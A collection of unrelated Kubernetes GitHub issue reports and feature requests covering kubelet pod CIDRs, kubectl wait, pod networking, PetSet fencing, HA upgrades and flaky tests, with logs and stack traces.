https://github.com/kubernetes/kubernetes/blob/915798d229b7be076d8e53d6aa1573adabd470d2/pkg/kubelet/dockershim/docker_service.go l341 , i.e. it is not propagated to cni plugin. \r \r it appears that this very line tries to set the cidr to whatever the master returns during node status update: https://github.com/kubernetes/kubernetes/blob/915798d229b7be076d8e53d6aa1573adabd470d2/pkg/kubelet/kubelet_node_status.go l405\r \r \r   what you expected to happen  :\r -  kubelet / kubenet  use the pod cidr given at command line and never mess with it\r \r actually i'm a bit confused if manual per-node pod cidr assignment is supported at all, and if i'm doing it correctly. i'm aware it's unusual thing to do in production environment, yet for testing it seems perfectly legitimate.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 17.10\r - kernel  e.g.  uname -a  :  linux master 4.13.0-37-generic  42-ubuntu smp wed mar 7 14:13:23 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  kubeadm 1.10.0 \r

  \r either i am doing something wrong or i misunderstood the concept behind kubectl wait.\r \r i use kubectl wait in my gitlab ci pipeline.\r \r stage 1: deploy my app\r stage 2: detect if the app is deployed and running.\r \r in stage 2 i wanted to use\r kubectl wait --timeout=60s --for condition=ready pod -l release=branch123,pod-name=php-nginx\r \r when the deployment is not ready and no pod can be found with a labels \ release=branch123\  and \ pod-name=php-nginx\  kubectl wait ignores the define timeout  60 seconds  in my example.\r why is this so? i was expecting to always wait 60 seconds.\r \r i hope my request is clear. maybe i am just doing something wrong here? \r

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r     pod can ping other pods, but it can not telnet access other pods. the same problem can be encountered when accessing the internet instead.\r \r     access internet in busybox\r \r      /   ping kubernetes.io\r     ping kubernetes.io  45.54.44.102 : 56 data bytes\r     64 bytes from 45.54.44.102: seq=0 ttl=46 time=40.603 ms\r     64 bytes from 45.54.44.102: seq=1 ttl=46 time=40.439 ms\r \r     /   wget http://kubernetes.io\r     connecting to kubernetes.io  45.54.44.102:80 \r     wget: server returned error: http/1.1 404 not found\r      \r \r     access pod in busybox\r \r      \r     /   ping 10.244.1.134\r     ping 10.244.1.134  10.244.1.134 : 56 data bytes\r     64 bytes from 10.244.1.134: seq=0 ttl=64 time=0.211 ms\r     64 bytes from 10.244.1.134: seq=1 ttl=64 time=0.049 ms\r \r     /   wget http://10.244.1.134:8080/wx/token?code=123\r     connecting to 10.244.1.134:8080  10.244.1.134:8080 \r     wget: server returned error: http/1.1 404 not found\r      \r \r     can access internet in host server\r      root@cloud-node2 ~   wget http://kubernetes.io\r     --2019-01-06 09:38:44--  http://kubernetes.io/\r     resolving kubernetes.io  kubernetes.io ... 45.54.44.102\r     connecting to kubernetes.io  kubernetes.io |45.54.44.102|:80... connected.\r     http request sent, awaiting response... 301 moved permanently\r     location: https://kubernetes.io/  following \r     --2019-01-06 09:38:44--  https://kubernetes.io/\r     connecting to kubernetes.io  kubernetes.io |45.54.44.102|:443... connected.\r     http request sent, awaiting response... 200 ok\r     length: 21959  21k   text/html \r     saving to: ‘index.html.1’ \r   \r \r \r \r     can access pod in host server\r \r       root@cloud-node2 ~   wget http://10.244.1.134:8080/wx/token?code=123\r     --2019-01-06 09:06:43--  http://10.244.1.134:8080/wx/token?code=123\r     connecting to 10.244.1.134:8080... connected.\r     http request sent, awaiting response... 500 \r     2019-01-06 09:06:43 error 500:  no description  \r \r    \r \r

for now, we are listening on any interface for nodeports. it can be a problem for machines with a public and private address, where we only want to provide a service in private network.  what can be done is to user  --bind-address  and listening only on this ip.  i already have a commit with this feature: https://github.com/guilhem/kubernetes/tree/listennode it lack support in  userspace  part and tests but is working fine for  iptables .

kubernetes version    use  kubectl version  : master branch    environment  : -   cloud provider or hardware configuration  : macbook pro 15\  early 2013 -   os    e.g. from /etc/os-release : macos sierra 10.12 -   kernel    e.g.  uname -a  : darwin dominics-mbp-2.lan 16.0.0 darwin kernel version 16.0.0: mon aug 29 17:56:20 pdt 2016; root:xnu-3789.1.32~3/release_x86_64 x86_64 -   install tools  : git -   others  :    what happened  : when you use the latest version of kubernetes  even in master branch  and vagrant 1.8.5, insert_key is set to true and setup of master never works as it fails authentication when sshing into the box.    what you expected to happen  : insert_key to be false and master to correctly install within vagrant 1.8.5    how to reproduce it    as minimally and precisely as possible : - install vagrant 1.8.5 - use these environment variables:      kube_enable_insecure_registry=true kubernetes_provider=vagrant kubernetes_node_memory=4096 kubernetes_master_memory=1536     - run:  ./cluster/kube-up.sh     anything else do we need to know  :  i've had this issue for months now. i've had it happen on 2x macbook pro machines and have completely given up attempting to install k8s via vagrant until debugging further now. this has to be happening to everyone but have never seen it mentioned so am confused.  the problem is that insert_key doesn't properly get set to false as the vsphere setup overrides it.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41894/pull-kubernetes-e2e-gce/19327/\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:262\r failed to observe pod deletion\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:251\r

just saw panic error in openshift:\r \r    \r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.535347   10401 client_builder.go:233  verified credential for disruption-controller/kube-system\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.535876   10401 disruption.go:328  addpod called on pod \ docker-registry-2-s8mmg\ \r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : e1207 17:03:19.535968   10401 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /data/go/src/runtime/asm_amd64.s:509\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /data/go/src/runtime/panic.go:491\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /data/go/src/runtime/panic.go:63\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /data/go/src/runtime/signal_unix.go:367\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/disruption/disruption.go:401\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/disruption/disruption.go:329\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/disruption/disruption.go:132\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/controller.go:195\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : <autogenerated>:1\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/shared_informer.go:545\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/shared_informer.go:381\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : /data/go/src/runtime/asm_amd64.s:2337\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.536034   10401 controllermanager.go:493  started \ disruption\ \r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.536044   10401 controllermanager.go:483  starting \ namespace\ \r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.536296   10401 disruption.go:288  starting disruption controller\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.536306   10401 controller_utils.go:1041  waiting for caches to sync for disruption controller\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.550991   10401 shared_informer.go:116  caches populated\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.551002   10401 controller_utils.go:1048  caches are synced for stateful set controller\r dec 07 17:03:19 iip-foobar.internal atomic-openshift-master-controllers 10401 : i1207 17:03:19.551081   10401 signature_import_controller.go:152  no signatures dowloaded for sha256:4d59ad5\r    \r

looks like we don't have a mergestrategy tag set on the hpa  metrics  field, meaning we get the default replace behavior.  we should probably have the merge behavior instead, so that you can easily add metrics to the list.\r \r cc @kubernetes/sig-autoscaling-feature-requests

tests are timing out on gke\r \r dashboards: https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-cos-master-serial\r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master\r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster\r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/7208\r \r this might be related to  69597, but it seems to fail in a different way and also more tests seems to be affected.\r \r    / \r /cc @msau42\r /cc @justinsb \r /cc @bsalamat

when running 5k-node clusters with high enough churn  visibly bumping churn of load test  it's possible to observe that watchcache start accumulating lag.\r the problem seems to be related mostly to lock contention.\r \r i'm treating this as an umbrella bug for now, will be pasting more information here and linking prs with improvements to it.

we validate that the total length is < 253, but we do not validate that each part is < 63 characters.  @smarterclayton since this is technically a breaking change

this would make distribution of cluster components packaged in docker images much easier. right now component images are downloaded in tarfile format and unpacked by salt/bash. this should be a concern of cluster deployment but is currently entangled with node deployment. we should support this in the node api.  @bgrant0607 @dchen1107 @roberthbailey

graceful deletion is the default now. we should apply a consistent policy to all controllers about how this is handled. a possible outline:       1. when a pod with a deletion timestamp is noticed, it should count as a delete instead of an update. 2. the same pod should not show up as another delete notification when the kubelet wacks it. 3. delete with --grace-period=0 should continue to work as it currently does 4. a pod created with a deletion timestamp should actually be a delete.   the real intent is that a controller should take corrective action right away instead of waiting the default 30s for a \ real\  delete, because for eg: webservers will stop accepting new connections right away and wait for grace period to drain existing connections.   @lavalamp

saw the following on 1.2.4 cluster:      i0512 19:59:49.688503       5 handlers.go:152  get /api/v1/proxy/namespaces/kube-system/services/heapster/api/v1/metric-export:  1.094504459s  503 goroutine 798328  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc24b9e9f80, 0x1f7          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc24b9e9f80, 0x1f7          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 k8s.io/kubernetes/pkg/apiserver/metrics.  responsewriterdelegator .writeheader 0xc20dd7a2d0, 0x1f7          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:117 +0x53 net/http/httputil.  reverseproxy .servehttp 0xc227a1c450, 0x7f30041b2700, 0xc23b7fb578, 0xc2152fb110          /usr/src/go/src/net/http/httputil/reverseproxy.go:159 +0x708 k8s.io/kubernetes/pkg/apiserver.  proxyhandler .servehttp 0xc208200d00, 0x7f30041b2700, 0xc23b7fb578, 0xc2275f1ee0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/proxy.go:205 +0x2574 k8s.io/kubernetes/pkg/apiserver.func·002 0xc20dd7a150, 0xc20d891e00          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/api_installer.go:859 +0x60 k8s.io/kubernetes/pkg/apiserver/metrics.func·001 0xc20dd7a150, 0xc20d891e00          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101 +0x269 github.com/emicklei/go-restful.  container .dispatch 0xc20819c120, 0x7f30041b1fa8, 0xc24b9e9f80, 0xc2275f1ee0          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:249 +0xf5e github.com/emicklei/go-restful. container. github.com/emicklei/go-restful.dispatch ·fm 0x7f30041b1fa8, 0xc24b9e9f80, 0xc2275f1ee0          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:95 +0x45 net/http.handlerfunc.servehttp 0xc20845ae90, 0x7f30041b1fa8, 0xc24b9e9f80, 0xc2275f1ee0          /usr/src/go/src/net/http/server.go:1265 +0x41 net/http.  servemux .servehttp 0xc208214cc0, 0x7f30041b1fa8, 0xc24b9e9f80, 0xc2275f1ee0       cc @vishh @piosz  not sure who is the right person for this.

note: relates to  28315  online resource oversubscription and external qos control .   background: an external qos controller can continuously monitor the cluster utilization and application performance and perform some actions. the actions performed by the external qos controller include the following:  1. tag pods and nodes so that only certain pods can be scheduled on some nodes.  2. evict pods and tag the nodes appropriately so that a class of pods cannot be scheduled on the same node.  3. resource deflation or inflation of jobs running in the node. in kubernetes, this resource deflation and inflation translates to resizing the pod/container resource requests and limits.    in kubernetes, the current qos classifications allow best-effort pods to consume the usage slack  i.e., the difference between the resources allocated and the resources used . however, there are no restrictions on which node can host the best-effort pods or the number of best-effort pods scheduled on a node. this could lead to performance interference between the original pods scheduled on the node and the best-effort pods leading to service-level objective  slo  violations. the proposed external qos controller can mitigate such an issue.   requirements: 1. a mechanism to tag pods and nodes so that only certain pods can be hosted in a node.  2. evicts pods from a node and use requirement 1 to tag the node.  3. allow resizing the resource requests and limits on each container within a pod via pod update.  usage examples: 1. an external agent can tag non-best-effort pods so that only they can be scheduled in certain nodes of the cluster.  2. an aggressor best-effort pod can be evicted and the node can be tagged till the performance of the victim high- stabilizes.  3. a high- is being under-utilized. an external agent can resize this under-utilized pod and allow scheduling of best-effort pods on the same node.  4. after the best-effort pod completes, an external agent can again resize the high- back to its  original size.  possible implementation: 1. requirement 1 can be implemented using admission controllers and taint/toleration mechanism.  2. for requirement 2, the pod can be evicted by sending a delete request on the pod to the api server and use requirement 1 to tag the node.  cc @davidopp @connordoyle

jotting down some thoughts so we can start fleshing it out in time for 1.5.    problem  currently petset uses ns/name as an implicit lock. so there are situation where we might:  - deleted a pod from the apiserver - but the pod is still alive on the node - and the petset controller has created another pod with the same name on another node - and kube-dns has re-programmed dns to point pet-0 at this new ip  - but some clients are pointing at pet-0 2  and some at pet-0 1  because they haven't resolved dns.   to prevent such situations, we need to ensure that exactly one instances of an application occupies a given petset index. since this is not a new problem in distributed systems, one option is to completely defer to the application layer to implement a consistency protocol. in reality this places a pretty big burden on the app.    proposal  so i'm proposing the following fencing guards:  - don't delete pets from node controller  or make this conditional  - use a rwo volume for fencing - take a lease via apiserver annotations  the first eliminates only the most common cause of duplicity.  the second only works if you trust the storage layer, or actually need pet storage. the third needs to be our last line of defense, and happen at 2 points of the pet lifecycle:  1. prevent petset controller from creating pet-0 2  based on the lock annotation 2. prevent pet-0 2  from ever starting by blockig in an init container  none of these require changes to the petset resources imo, unless we decide to add the locks to the petset.    example scenario  to break down some cases, say we do the following:    1. pipe the petset name as an env var into all pets 2. each pet writes an annotation of the form {$pod_name: $pod_uuid} in the petset 3. the pet deletes the annotation in terminationgrace/poststop  assuming we have a node controller or kubelet bug that leads to node controller actually deleting pet-0, or user deletes pet-0 but kubelet fails to kill container, the petset controller will not create pet-0 2  because of the annotation.  assuming we also have a petset controller bug, so petset-0 2  gets created:  - pet-0 2  comes up and reads {pet-0:different-uuid}, crashloops - kubelet deletes pet-0  either because partition recovers, or it recovers from its own bug  - pet-0 erases annotation within terminationgrace - pet-0 2  starts up and writes its annotation  the impact is a loss of availability during partition, and if there's a second bug that prevents terminationgrace on pet-0, pet-0 2  will remain in crashloop till human erases annotation.    food for thought 1. do we need a third layer of defense in the form of a sidecar that commits suicide if the annotation is set to something else? 2. we should probably allow nodecontroller deletion gate to be opt in 3. this adds a coupling between pets and apiserver that i dislike  @kubernetes/sig-apps @smarterclayton @erictune

kubernetes version    upgrading from:      client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ }      to      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : bare metal -   os    e.g. from /etc/os-release : ubuntu 12.04.4 lts, precise pangolin -   kernel    e.g.  uname -a  : linux tuk6r1knode3 3.13.0-55-generic  92~precise1-ubuntu smp sun jun 14 18:32:23 utc 2015 x86_64 x86_64 x86_64 gnu/linux -   install tools  : n/a -   others  : n/a    what happened  :  we have two kubernetes masters in an ha configuration. during our upgrade, we  of course  upgrade them one at a time. however, after the first master is upgrade, the cluster is in an unstable state.  namely, ~ upon taking the first master down, the second master  v1.2  has the key ~ now we bring the first master up with v1.4, but its master pods fail to start ~ initially the first master  v1.4  appears as \ nodeready\  while the pods attempt to start, but eventually the pods give up, and the first master changes to \ nodenotready\   we also see this spamming the logs of the second master  v1.2 , which retains the key, as the active apiserver:      i1006 17:35:54.316991       1 handlers.go:152  patch /api/v1/namespaces/default/events/kube-master1.147ac55f24bb7389:  8.736738ms  200   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:35588  i1006 17:35:54.318207       1 handlers.go:152  get /api/v1/nodes/kube-master1:  4.112012ms  200   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:44576  i1006 17:35:54.324924       1 handlers.go:152  put /api/v1/nodes/kube-master1/status:  500.555µs  415 goroutine 14984574  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc21c6a7500, 0x19f      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc21c6a7500, 0x19f      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 k8s.io/kubernetes/pkg/apiserver.  basetimeoutwriter .writeheader 0xc21b9b7c20, 0x19f      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:258 +0xba k8s.io/kubernetes/pkg/apiserver/metrics.  responsewriterdelegator .writeheader 0xc2173131d0, 0x19f      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:117 +0x53 k8s.io/kubernetes/pkg/apiserver.writenegotiated 0x7f7c90f6f0e8, 0xc20842af00, 0x0, 0x0, 0x263a900, 0x2, 0x7f7c90dca250, 0xc21f40e200, 0xc2178bedd0, 0x19f, ...      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:429 +0x174 k8s.io/kubernetes/pkg/apiserver.errornegotiated 0x7f7c7d984958, 0xc21b9b7f80, 0x7f7c90f6f0e8, 0xc20842af00, 0x0, 0x0, 0x263a900, 0x2, 0x7f7c90dca250, 0xc21f40e200, ...      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:441 +0xdd k8s.io/kubernetes/pkg/apiserver.  requestscope .err 0xc2087d0750, 0x7f7c7d984958, 0xc21b9b7f80, 0x7f7c90dca250, 0xc21f40e200, 0xc2178bedd0      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:84 +0x11f k8s.io/kubernetes/pkg/apiserver.func·034 0xc2173130b0, 0xc21a261200      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:643 +0x4da k8s.io/kubernetes/pkg/apiserver/metrics.func·001 0xc2173130b0, 0xc21a261200      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101 +0x269 github.com/emicklei/go-restful.  container .dispatch 0xc208422750, 0x7f7c90dca090, 0xc   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:44576  i1006 17:35:54.327246       1 handlers.go:152  patch /api/v1/namespaces/default/events/kube-master1.147ac58cdb8f5184:  8.904674ms  200   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:35588  i1006 17:35:54.350350       1 handlers.go:152  patch /api/v1/namespaces/default/events/kube-master1.147ac55f24bb7389:  21.451416ms  200   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:35588  i1006 17:35:54.361433       1 handlers.go:152  patch /api/v1/namespaces/default/events/kube-master1.147ac58cdb8f5184:  9.39221ms  200   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:35588  i1006 17:35:54.371348       1 handlers.go:152  patch /api/v1/namespaces/default/events/kube-master1.147ac55f24bb7389:  8.417171ms  200   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:35588  i1006 17:35:54.380128       1 handlers.go:152  patch /api/v1/namespaces/default/events/kube-master1.147ac58cdb8f5184:  7.57299ms  200   hyperkube/v1.4.0  linux/amd64  kubernetes/a16c0a7  192.168.0.9:35588         what you expected to happen  :  we expect both masters to be in a stable state  thus maintaining ha  after the first master has been upgraded to v1.4 but the second master still remains on v1.2.    how to reproduce it    as minimally and precisely as possible :  have a cluster with two+ masters, with all masters & nodes on v1.2. upgrade one master to v1.4.    anything else do we need to know  :  this appears to be extremely similar to this ticket -- https://github.com/kubernetes/kubernetes/issues/28361 -- however, that ticket involved a single master and was caused by upgrading nodes prior to the master, which is understandably a bad flow.  in our case, we have two ha masters, and need to upgrade them one at a time to maintain ha -- so i believe we need further info on what the root problem is here, and how/whether we can avoid it.

is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r it would be cool if after creating of cronjob it would be possible to see when job for the cronjob will be created.\r

unit test  k8s.io/kubernetes/pkg/kubelet/cm testpodcontainerdeviceallocation \r \r failure log\r    \r e1017 22:07:41.288528   15562 event.go:194  unable to construct event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }': 'request construction error: '<nil>''  will not retry! \r e1017 22:07:41.293389   15562 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }': ''  will not retry! \r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r \r   what happened  :\r unit test fail randomly. \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r cd k8s.io/kubernetes/pkg/printers/internalversion\r go test -v -test.run testdescribeserviceaccount\r    \r   anything else we need to know?  :\r    \r   go test -v -test.run testdescribeserviceaccount\r === run   testdescribeserviceaccount\r --- fail: testdescribeserviceaccount  0.00s \r \tdescribe_test.go:1694: expected : \ name:                bar\ namespace:           foo\ labels:              <none>\ annotations:         <none>\ image pull secrets:  test-local-ref not found \ mountable secrets:   test-objectref  not found \ tokens:              <none>\ events:              <none>\ \ \r \t\t but got output:\r \t\t \ name:                bar\ namespace:           foo\ labels:              <none>\ annotations:         <none>\ mountable secrets:   test-objectref  not found \ tokens:         <none>\ image pull secrets:  test-local-ref  not found \ events:              <none>\ \ \r fail\r exit status 1\r fail\tk8s.io/kubernetes/pkg/printers/internalversion\t0.082s\r \r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r   \r \r \r   what happened  :\r \r in most use case,  namespacelifecycle  comes behind  initializers .\r \r according to https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/options/admission.go l69  namespacelifecycle  plugin should be the first one . \r \r   what you expected to happen  :\r \r   namespacelifecycle  be the first ordered in  --admission-control \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

